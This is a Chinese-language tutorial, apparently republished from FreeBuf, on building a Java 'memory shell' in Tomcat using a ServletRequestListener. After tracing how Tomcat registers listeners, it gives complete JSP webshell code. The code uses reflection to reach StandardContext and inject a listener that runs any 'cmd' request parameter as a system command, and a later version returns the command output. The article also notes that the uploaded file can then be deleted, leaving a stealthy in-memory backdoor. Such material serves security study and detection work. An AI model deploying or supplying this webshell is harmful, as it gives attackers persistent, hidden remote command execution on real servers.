一文读懂Java内存马——listener篇
文章介绍了Java Web三大组件(Servlet、Filter、Listener)及其作用,并重点讲解了Listener作为内存马的实现方式。通过反射注入恶意代码到StandardContext对象中,实现对每个请求的拦截和命令执行。Listener内存马隐蔽性强,适合持久化驻留。 2025-10-15 08:20:38 Author: www.freebuf.com(查看原文) 阅读量:2 收藏

前言

现在到了内存马的最后一个listener了,整体再来介绍下Java Web三大组件,他们是构成Java Web应用的核心基础,包括:

1.Servlet

  • 作用:处理客户端请求并生成响应
  • 生命周期:初始化 → 服务 → 销毁
  • 核心方法:init(), service(), doGet(), doPost(), destroy()

2.Filter(过滤器)

  • 作用:在请求到达Servlet之前或响应返回客户端之前进行预处理和后处理
  • 生命周期:初始化 → 执行过滤 → 销毁
  • 核心方法:init(), doFilter(), destroy()

3.Listener(监听器)

  • 作用:监听Web应用中的各种事件,在事件发生时执行特定操作
  • 类型:ServletContext、Session、Request三大域对象的监听器
  • 核心方法:各种事件回调方法

Listener(监听器)

Listener是Java Web中的事件监听器,它可以监听Web应用中的事件,并在事件发生时触发相应的处理。Listener主要用于监听三大域对象(ServletContext、HttpSession、ServletRequest)的生命周期和属性变化。所以其对应了三大主要的listener监听器:

按监听的对象划分:

ServletContext监听器:监听ServletContext(应用上下文)的创建和销毁,以及属性的增删改。

HttpSession监听器:监听HttpSession(用户会话)的创建、销毁、激活、钝化以及属性的增删改。

ServletRequest监听器:监听ServletRequest(请求)的创建和销毁,以及属性的增删改。

按监听的事件划分:

监听域对象的创建和销毁:

ServletContextListener:监听ServletContext的创建和销毁。适合在应用启动时进行一些初始化操作,但无法拦截请求。

HttpSessionListener:监听HttpSession的创建和销毁。可以监控用户会话,但无法直接拦截请求,只能在Session创建和销毁时执行代码。

ServletRequestListener:监听ServletRequest的创建和销毁。可以拦截每个请求,因此适合作为内存马。

监听域对象的属性变化如下:

ServletContextAttributeListener:监听ServletContext属性的增删改。

HttpSessionAttributeListener:监听HttpSession属性的增删改。

ServletRequestAttributeListener:监听ServletRequest属性的增删改。以上三个是在属性被添加、移除或替换时触发,不适合拦截所有请求,除非恶意代码依赖于属性变化。

监听HttpSession中对象的绑定和解绑(需要对象实现相应的接口)如下:

HttpSessionBindingListener:当对象被绑定到Session或从Session中解绑时,会触发该对象定义的事件。需要将对象存入Session,不适合作为通用内存马。

HttpSessionActivationListener:当Session被钝化(序列化到磁盘)或激活(从磁盘加载)时,会触发该对象定义的事件。与序列化相关,不适合拦截请求。

小结:这么多的listener,我们选择ServletRequestListener作为内存马的常用监听器,为什么首选这个主要是因为:ServletRequestListener可以监听每个请求的到来和结束,这样恶意代码在每个请求都会触发,因此可以拦截所有请求。交互性强:可以直接获取请求参数和操作响应,覆盖性广:拦截所有请求,不会漏掉攻击流量,灵活性强:支持复杂的命令执行和结果返回。

自定义一个listener

要定义一个自己的listener首先要实现对应的接口,并配置对应的web.xml、注解或编程方式注册。接着前面的内存马项目继续项目结构如下:

1760498172_68ef11fcce29116545d0c.png!small?1760498173917

创建一个firstListener.java,代码如下:实现了ServletRequestListener 接口,并重写了对应的两个方法,一个请求,一个销毁。在requestInitialized请求方法中,从get请求获取一个cmd参数,并执行:

package com.ex;
import javax.servlet.ServletRequest;
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import java.io.IOException;

public class firstListener implements ServletRequestListener {
    @Override
public void requestDestroyed(ServletRequestEvent sre) {

    }

    @Override
public void requestInitialized(ServletRequestEvent sre) {
        ServletRequest servletRequest = sre.getServletRequest();
        String cmd = servletRequest.getParameter("cmd");
        if (cmd != null){
            try {
                Runtime.getRuntime().exec(cmd);
            } catch (IOException e) {
                throw new RuntimeException(e);
            }
        }
    }
}

下一步配置web.xml让listener生效:只需要在该文件中加入一个listener标签,配置正确的全路径即可。

<listener>
  <listener-class>com.ex.firstListener</listener-class>
</listener>

启动项目看看效果!当然可以执行命令,因为这是正常的listener运行的逻辑。那么listener内存马如何在应用运行中,加入恶意代码呢!
1760498366_68ef12bee9df35936821b.png!small?1760498367498listener加载过程分析

当发起request请求的时候,会调用我们的listener对象的requestInitialized方法,直接看谁调用了这个方法:
1760498456_68ef13184592991e12a76.png!small?1760498457005

与前面的filter,和servlet一样又是在StandardContext下面的方法里面调用的!

而调用的这个对象listener来自instances。

1760498595_68ef13a3aa73b90770b93.png!small?1760498596470

而instances又是Object[] instances = getApplicationEventListeners();通过这个方法创建的。

看看这个方法做了什么:将applicationEventListenersList 集合转成了数组:

@Override
public Object[] getApplicationEventListeners() {
    return applicationEventListenersList.toArray();
}

再次看这个集合 private final List<Object> applicationEventListenersList = new CopyOnWriteArrayList<>();是通过new直接创建的。其实是个空集合如下:

1760498641_68ef13d1bc4f0724848a4.png!small?1760498642566所以需要知道它的赋值过程,如何将listener加入到集合的:

1760498715_68ef141b0950cd66dc290.png!small?1760498715708还是当前类下的addApplicationEventListener方法中,有对其赋值,加入了一个listener对象。这里就完成了对这个List的赋值操作!并且参数就是一个listener对象。其实到这里基本可以确定StandardContext对象可以调用该方法进行赋值:

继续刨根问底,谁在调用这个赋值的方法,并且参数具体是什么。

1760498759_68ef1447596cbeb2c3c32.png!small?1760498760129在public <T extends EventListener> void addListener(T t) 这个方法中有这样的调用:context.addApplicationEventListener(t);熟悉的context调用。context就是StandardContext对象!如下图:

1760498785_68ef1461763fc387ffeb0.png!small?1760498786260

继续看addListener(T t) 怎又是谁调用:还是当前对象: public void addListener(Class<? extends EventListener> listenerClass) 这里参数是继承了EventListener的泛型对象。

1760498946_68ef1502a6b20fa234505.png!small?1760498947731

而我们自己创建的firstListener实现了ServletRequestListener,而该接口继承了EventListener,满足作为形参的条件!!

1760499065_68ef157914030ab38175d.png!small?1760499065770

继续往前看看谁调用这个方法:ApplicationContextFacade类中的 public void addListener(Class<? extends EventListener> listenerClass)方法在调用它:又出现了context:

1760506431_68ef323fa125aa1a5cccd.png!small?1760506432293

1760506443_68ef324b2ae94e73f7a1f.png!small?1760506443669

而这个context就是ApplicationContext对象:所以它的调用其实就回到了前面的ApplicationContext 对象的addListener方法。

1760506467_68ef32635b23428422c5e.png!small?1760506468035

调用下一个addListener:如下图:

1760506492_68ef327c5e67a179178fc.png!small?1760506493068

而ApplicationContext对象持有StandardContext context对象属性:

1760506514_68ef329268308e3bc822c.png!small?1760506515084

最终到达StandardContext对象的addApplicationEventListener()方法这里,listener在这里添加完成:

1760506550_68ef32b6180b74f689f08.png!small?1760506550810

那么我们要完成恶意listener的注入,就需要往这个StandardContext对象的属性applicationEventListenersList中动态的添加自己构造的listener。

小结

StandardContext对象的属性List<Object> applicationEventListenersList中可以存放任意数据类型的对象,而它通过转化成数组applicationEventListenersList.toArray()得到了Object[] instances数组,通过for (Object instance : instances)得到数组中的每一个元素,执行强转ServletRequestListener listener = (ServletRequestListener) instance;得到ServletRequestListener对象,最后执行listener.requestInitialized(event);进入自己写的代码逻辑中。核心只需要将我们自己的firstListener对象通过addApplicationEventListener()方法加入到applicationEventListenersList即可。

listener内存马构造

获取StandardContext对象,流程与前面的两个组件内存马一致:

同样假设通过文件上传的方式将jsp木马传至服务端:listenerShell.jsp代码如下:

<%@ page errorPage="/index.jsp" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="javax.servlet.http.HttpServlet, java.io.IOException" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.ApplicationContextFacade" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page import="javax.servlet.http.HttpServletRequest" %>
<%@ page import="javax.servlet.http.HttpServletResponse" %>
<%@ page import="javax.servlet.ServletException" %>
<%@ page import="java.lang.reflect.*" %>
<%@ page import="javax.servlet.*" %>
<%@ page import="org.apache.catalina.core.*" %>
<%@ page import="org.apache.catalina.deploy.*" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.*" %>
<%@ page import="javax.servlet.ServletRequest" %>
<%@ page import="javax.servlet.ServletRequestEvent" %>
<%@ page import="javax.servlet.ServletRequestListener" %>
//上面导入相关的包
<%!
//将前面的代码复制过来
public class firstListener implements ServletRequestListener {
    @Override
    public void requestDestroyed(ServletRequestEvent sre) {
    }

    @Override
    public void requestInitialized(ServletRequestEvent sre) {
        ServletRequest servletRequest = sre.getServletRequest();
        String cmd = servletRequest.getParameter("cmd");
        if (cmd != null){
            try {
                Runtime.getRuntime().exec(cmd);
            } catch (IOException e) {
                throw new RuntimeException(e);
            }
        }
    }
}
%>

<%
try {
 // 通过request的方法,拿到当前的ApplicationContextFacade,getServletContext()方法返回的是ServletContext接口类型,
//虽然返回的是ApplicationContextFacade实例,
//也可以ApplicationContextFacade acf = (ApplicationContextFacade) request.getServletContext();--不建议
ServletContext acf = request.getServletContext();

// 通过反射获取第一层context属性,得到拿到当前的ApplicationContext
Field contextField = acf.getClass().getDeclaredField("context");
contextField.setAccessible(true); // 设置可访问权限
ApplicationContext applicationContext = (ApplicationContext) contextField.get(acf);

// 通过反射获取第二层的context属性,得到StandardContext对象
Field applicationContextField = applicationContext.getClass().getDeclaredField("context");
applicationContextField.setAccessible(true); // 设置可访问权限
StandardContext standardContext = (StandardContext) applicationContextField.get(applicationContext);

standardContext.addApplicationEventListener(new firstListener());//直接新建一个firstListener对象作为参数给该方法
out.println("执行成功!");

  } catch(Exception e) {
        e.printStackTrace();
    }

%>

代码中已添加注释:其实就一行关键代码,standardContext.addApplicationEventListener(new firstListener()); 添加一个listener对象到数组。其他代码同:一文读懂java内存马——Servlet篇 - FreeBuf网络安全行业门户

启动web应用,访问http://localhost:8080/Memory/listenerShell.jsp注入内存成功!

1760506990_68ef346e7691c0680e18b.png!small?1760506990971

然后同样的任意页面get请求,参数cmd即可执行系统命令。同样弹出计算器,虽然页面不存在,但是命令执行成功!

1760507093_68ef34d52d981909b3345.png!small?1760507094057

那如果执行其他命令比如:ipconfig,发现无回显内容。因为系统的回显是response负责的,我们的方法里面没有对这块儿的处理:

1760507123_68ef34f3bf7370ba442c3.png!small?1760507124900

解决命令回显

既然有问题,就可以解决问题,现在需要页面返回命令执行的结果!但是在我们的重写方法中只有一个对象ServletRequestEvent sre!需要通过这个对象得到response对象!

现在来看下这个ServletRequest servletRequest = sre.getServletRequest();对象,发现里面有一个request属性--负责请求信息:

1760507222_68ef3556e9d5c0ea6da8f.png!small?1760507223881

在这个request属性里面藏着一个response对象:

1760507266_68ef3582f1301cfdb179b.png!small?1760507267606

只要拿到这个response对象--负责返回信息,就可以向前端输出信息了:

而这个request是private的如下图:所以需要通过反射获取。关于反射可以看反射相关的内容:java反序列化基础——(反)序列化、反射 - FreeBuf网络安全行业门户

1760507322_68ef35bab97305309245c.png!small?1760507323466

问题解决,直接上代码,惯例带上逐行注释,在前面的listenerShell.jsp代码基础上对firstListener 类里面的重写方法添加了代码:

<%@ page errorPage="/index.jsp" %>//指定错误页面
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="javax.servlet.*, java.io.IOException" %>
<%@ page import="org.apache.catalina.*" %>
<%@ page import="org.apache.catalina.core.ApplicationContextFacade" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page import="java.lang.reflect.*" %>
<%@ page import="javax.servlet.*" %>
<%@ page import="java.io.PrintWriter" %>
<%@ page import="org.apache.catalina.core.*" %>
<%@ page import="org.apache.catalina.deploy.*" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.*" %>
//导入相关的包
<%!
//自己的恶意listener类
public class firstListener implements ServletRequestListener {
    @Override//重写方法不重要
    public void requestDestroyed(ServletRequestEvent sre) {

    }

    @Override//重写方法,核心内容
    public void requestInitialized(ServletRequestEvent sre) {
        ServletRequest servletRequest = sre.getServletRequest();//获取ServletRequest对象
        String cmd = servletRequest.getParameter("cmd");//request参数为cmd
        if (cmd != null){
       Class<? extends ServletRequest> requestClass = servletRequest.getClass();//获取ServletRequest类对象
try {
Field requestField = requestClass.getDeclaredField("request");//获取属性ServletRequest对象的request属性
requestField.setAccessible(true);//设置可访问属性
Object request = requestField.get(servletRequest);//得到request属性对象

Field responseField = request.getClass().getDeclaredField("response");//获取request对象的response属性
responseField.setAccessible(true);
             HttpServletResponse response = (HttpServletResponse)responseField.get(request);//强转得到response对象

// 设置响应头,以及输出格式
response.setContentType("text/html;charset=UTF-8");
            response.setHeader("X-Powered-By", "Java");
            PrintWriter out = response.getWriter();
            out.println("<!DOCTYPE html>");//以下输出格式设置
            out.println("<html>");
            out.println("<meta charset='UTF-8'>");
            out.println("<body>");
            //执行系统命令
            Runtime.getRuntime().exec(cmd);
            Process process = Runtime.getRuntime().exec(cmd);
           // 以下为读取命令执行结果代码
java.io.InputStream input = process.getInputStream();//获取输入流
            java.util.Scanner scanner = new java.util.Scanner(input).useDelimiter("\\A");//将输入流scanner对象
            String result = scanner.hasNext() ? scanner.next() : "";//逐行读取所有数据
            response.getWriter().write(result);
            out.println("</body>");
            out.println("</html>");
            } catch (Exception e) {
                throw new RuntimeException(e);
            }
        }
    }
}

%>

<%
try {
 // 通过request的方法,拿到当前的ApplicationContextFacade,getServletContext()方法返回的是ServletContext接口类型,
//虽然返回的是ApplicationContextFacade实例,
//也可以ApplicationContextFacade acf = (ApplicationContextFacade) request.getServletContext();--不建议
ServletContext acf = request.getServletContext();

// 通过反射获取第一层context属性,得到拿到当前的ApplicationContext
Field contextField = acf.getClass().getDeclaredField("context");
contextField.setAccessible(true); // 设置可访问权限
ApplicationContext applicationContext = (ApplicationContext) contextField.get(acf);

// 通过反射获取第二层的context属性,得到StandardContext对象
Field applicationContextField = applicationContext.getClass().getDeclaredField("context");
applicationContextField.setAccessible(true); // 设置可访问权限
StandardContext standardContext = (StandardContext) applicationContextField.get(applicationContext);

standardContext.addApplicationEventListener(new firstListener());//直接新建一个firstListener对象作为参数给该方法
out.println("执行成功!");
  } catch(Exception e) {
        e.printStackTrace();
    }

%>

启动web应用!先http://localhost:8080/Memory/listenerShell.jsp访问jsp,注入内存:

1760507625_68ef36e95606d67d09547.png!small?1760507625832

然后执行命令:成功返回命令结果!

1760507651_68ef3703378ee7f82ac72.png!small?1760507651928

要回显信息这里就不能任意路径执行了,因为如果不存在的路径会找不到网站,返回结果会优先显示404页面。

1760507671_68ef37177588fcd57f689.png!small?1760507671992

现在可以删除上传的木马文件,然后任意存在的页面均可调用内存马执行命令!

内存马总结

与servlet,filter一样,listener也是通过StandardContext对象来管理的。StandardContext是Tomcat容器中表示一个Web应用的上下文对象,它包含了该应用的配置信息、组件(如Servlet、Filter、Listener)的定义和映射等,其作为组件注册的入口,是Web应用运行时的核心配置,所以通过它注册的组件会一直存在,直到应用重启。内存马攻击的本质,在于对StandardContext——这一TomcatWeb应用核心配置对象的掌控。作为三大组件的统一注册点,任何经StandardContext注册的组件都将常驻内存,从而为攻击者提供了持久化控制的能力。基于此,三种组件演化出不同攻击形态。三大组件各有优劣,攻击者会根据需求选择不同的组件注入内存马。Filter内存马是最常用的,因为其触发频率高且灵活;Servlet内存马适合作为专门的后门入口;Listener内存马则更隐蔽,适合做持久化驻留。


文章来源: https://www.freebuf.com/articles/web/452764.html
如有侵权请联系:admin#unsafe.sh